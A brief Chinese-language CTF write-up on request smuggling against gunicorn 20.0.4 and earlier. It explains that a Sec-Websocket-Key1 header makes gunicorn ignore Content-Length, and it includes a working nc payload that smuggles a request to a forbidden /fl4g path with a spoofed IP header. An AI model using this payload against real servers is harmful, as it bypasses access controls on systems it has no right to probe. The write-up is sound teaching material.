某比赛的一个题,不知道结束没有,就不说名字了
gunicorn <= 20.0.4,无论在gunicorn 前使用哪个代理,该漏洞都有效, Http头中的
Sec-Websocket-Key: 1
会进行特殊解析,从而引发此漏洞
/fl4g禁止访问
payload:
echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
漏洞关键点:
在文件
/gunicorn/http/message.py
中有一个
set_body_reader
函数,它根据请求头确定请求正文的大小。 如果传入的请求头中包含
Sec-Websocket-Key: 1
则假定该请求的内容长度为 8(Content-Length字段会被忽略)
发送的Poc长这样
GET / HTTP/1.1
\r\nHost: localhost\r\n
Content-Length: 90\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /fl4g HTTP/1.1\r\n
Host: localhost\r\n
secr3t_ip:127.0.0.1\r\n
Content-Length: 55\r\n
\r\n
GET / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n
proxy 看到的是这个请求
GET / HTTP/1.1
\r\nHost: localhost\r\n
Content-Length: 90\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /fl4g HTTP/1.1\r\n
Host: localhost\r\n
secr3t_ip:127.0.0.1\r\n
Content-Length: 55\r\n
\r\n
GET / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n
gunicorn看到的则是这两个请求
GET / HTTP/1.1
\r\nHost: localhost\r\n
Content-Length: 90\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxx
和
GET /fl4g HTTP/1.1\r\n
Host: localhost\r\n
secr3t_ip:127.0.0.1\r\n
Content-Length: 55\r\n
\r\n
GET / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n